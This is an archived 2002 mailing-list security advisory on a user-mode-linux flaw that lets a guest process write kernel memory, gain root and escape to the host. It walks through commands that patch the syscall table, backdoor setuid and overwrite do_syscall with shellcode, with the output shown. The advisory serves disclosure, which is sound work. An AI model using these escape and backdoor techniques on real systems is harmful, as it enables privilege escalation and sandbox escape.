user-mode-linux problems

From: Andrew Griffiths (andrewgat_private)
Date: Sun Jan 27 2002 - 18:16:57 PST

  • Next message: Ahmet Sabri ALPER: "[ARL02-A01] Vulnerability in Hosting Controller"

    Program: User-mode-linux
    Version tested: patch-2.4.17-8 [ I assume all previous versions would be ]
    Not vulnerable: patch-2.4.17-9 [ Haven't tested any different techniques.]
    
    Now for something completely different. Anything in []'s is my comments to
    my article... deal with it.
    
    Description:
    ------------
    
    User-mode-linux is used to enchance kernel development by providing a debuggable
    kernel, and also as a safebox for some applications.
    
    [ Hereafter, uml refers to user-mode-linux. ]
    
    Problem:
    --------
    
    A user proccess can write into kernel memory, which will allow a person to get root inside the uml "box", and the possibility to break out of the uml "box", into the real one.
    
    This can happen even if the jail and honeypot options are turned on. [ Though I suspect the version i was testing was half-way through implementing them ]
    
    Some effects can happen, such as causing the uml processes to die, and making a
    process chew up heaps of cpu time indefinately.
    
    Reproducing:
    ------------
    
    I used the small debian 2.2 root fs to play around with, on a host kernel of
    2.4.17ctx-5 (vserver context security patch).
    
    To start it up I used:
    [andrewg@blackhole linux]$ ./linux ubd0=debcow,root_fs_debian2.2_small jail=1 honeypot=1 jail honeypot
    
    [ I'm being doubly cautious, and looking at the jail setup code, I don't think 
    it would have been bothered by my putting it in their twice. ]
    
    Mitigation:
    -----------
    
    Well, to prevent some of the problems, I suggest running the uml in a chroot()ed
    enviroment, with memory and cpu restrictions turned on.
    
    Not allow people to run their own code. Well, thats rather tricky, since if 
    they can overflow anything (just a normal program) and execute code of their 
    own choosing, you have pretty much lost already...
    
    [ Free tip for those who use it for high security. Put all the binaries on a 
    seperate ubd device, and leave make it non-writable by the uml process. That 
    way you don't have the replaced-replaced-binary problem, however, /bin would be hard to do. ]
    
    Fix:
    ----
    
    Upgrade.
    
    Exploit:
    --------
    
    There is no exploit as such yet, just a tool to help you exploit it. Attached 
    is a program for you to play around with.
    
    This program is somewhat simple, and definately not finished. However, it does everything I needed it do, plus a couple of other things.
    
    For the commands you don't specify the offset for sys_call_table, it uses the
    built in one at 0xa019f650. [ Which is nolonger valid for my ./linux, and most
    likely not for your system. ]
    
    [andrewg@blackhole mpmt]$ ./mpmt -h
    ./mpmt: invalid option -- h [ Hey, I said it wasn't finished. ]
    Multi-Purpose Modification Tool v0.6 by Andrew Griffiths
    ./mpmt -1 [ -2 ] [ -o ] [ -p | -f | -s ] [ -r ]
    
    ./mpmt -o 0xa020ee1f -p -1 61
            Would print out the offset of chroot at the sys_call_table
            location of 0xa020ee1f
    
    ./mpmt -1 23 -2 36
            Would replace setuid()'s location in sys_call_table with
            sync()s function.
    
    ./mpmt -1 23 -2 36 -r
            Would replace setuid()'s location in sys_call_table with
            sync()s function, and restore it back to it would in n
            seconds. (time default is 30 seconds)
    
    For values of these numbers, look in /usr/include/asm/unistd.h
    
    Also, you can do abiratory read and writes on kernel memory,
    with the -a for the address, -c for how much to copy, -R to
    read, and -W to write and -F to specify file.
    [andrewg@blackhole mpmt]$
    
    To do things like play around with the sys_call_table, you'll need the
    address of it. To get it, just do:
    
    [andrewg@blackhole linux]$ nm -a linux | grep sys_call_table
    a01bb744 D sys_call_table
    00000000 a sys_call_table.c
    [andrewg@blackhole linux]$
    
    and the first address is the sys_call_table. I haven't looked into determining 
    the sys_call_table address while you're in it. I suspect it could be done by
    looking at the kernel memory (which is an elf file), and finding the address
    via the global offset table, or something. If it isn't stripped, you should be 
    laughing. Once you can work these out, you should be able to write a version
    independant exploit.
    
    Since you've already seen some of the things it does, I'll explain the bottom 
    parts.
    
    To get a copy of the first 256 bytes of the sys_call_table struct, and to dump
    it into systable:
    
    andrewg@usermode:~$ ./mpmt -a 0xa01bb744 -c 256 -R -F systable
    
    To get the first 2048 bytes of setuid so you can backdoor it:
    
    andrewg@usermode:~$ ./mpmt -o 0xa01bb744 -p -1 23
    Location in memory where function 23 is 0xa0018024
    andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -R
    andrewg@usermode:~$ [ Now run ndisasm and patch and then run... ]
    andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -W
    
    The sharp reader will have already noticed that we could replace the getuid
    with a harmless syscall such as sync, and then call su || su -c "shell script" 
    to do what we want. However, on my system, there's a couple of problems, like it
    starting of way too many su proccess's or them dying straight away. However the
    -c one seems to work...
    
    [ News just in... ]
    
    And now for the ultimate exploit against User-mode-linux: Breaking out of it.
    To break out of uml, you need to cause the tracer program to execute code of 
    your choosing. [ No shit!?! Thats because the tracer pid isn't running being 
    ptraced itself. Sidenote: If you could kill the tracer, you might be able to
    execute cide... ] We can accomplice this by writing into certain areas of
    memory... The function I have choose to target is do_syscall. 
    
    Now, for the exploitation:
    
    [andrewg@blackhole andrewg]$ nm -a /usr/src/linux/linux | grep do_syscall
    a01000f0 T do_syscall
    [andrewg@blackhole andrewg]$ cat /tmp/sh <<_EOF_
    #!/bin/sh
    echo OWNED > /tmp/umlisbroken
    _EOF_
    [andrewg@blackhole andrewg]$ chmod +x /tmp/sh
    
    And now for the usermode linux part, where ex is just a program that spits out
    standard Aleph1 (Phrack 49) shellcode.
    
    andrewg@usermode:~$ ./ex | sed s/bin/tmp/ > exploit_code
    andrewg@usermode:~$ ./mpmt -a 0xa01000f0 -c 43 -W -F exploit_code 
    
    At this point, the screen where you started UML, is probably a message like:
    Kernel panic: Error mapping a page - errno = 9 [ Bad File descriptor ]
    
    I suspect its trying to mmap() a page from somewhere with a fd that isn't valid
    for the real kernel. (Cause it's no longer being ptrace()d.)
    
    And now [Drum roll please]
    
    [andrewg@blackhole andrewg]$ cat /tmp/umlisbroken
    OWNED
    [andrewg@blackhole andrewg]$ 
    
    You may be asking why the shellcode doesn't do anything more interesting than 
    exec()ing /tmp/sh, well, you gotta remember this is for "proof of concept"...
    
    Don't forget to do a "killall -9 linux" and restart it, cause you've just 
    killed it....
    
    
    
    
    --
    www.tasmail.com
    
    
    
    



    This archive was generated by hypermail 2b30 : Mon Jan 28 2002 - 12:15:49 PST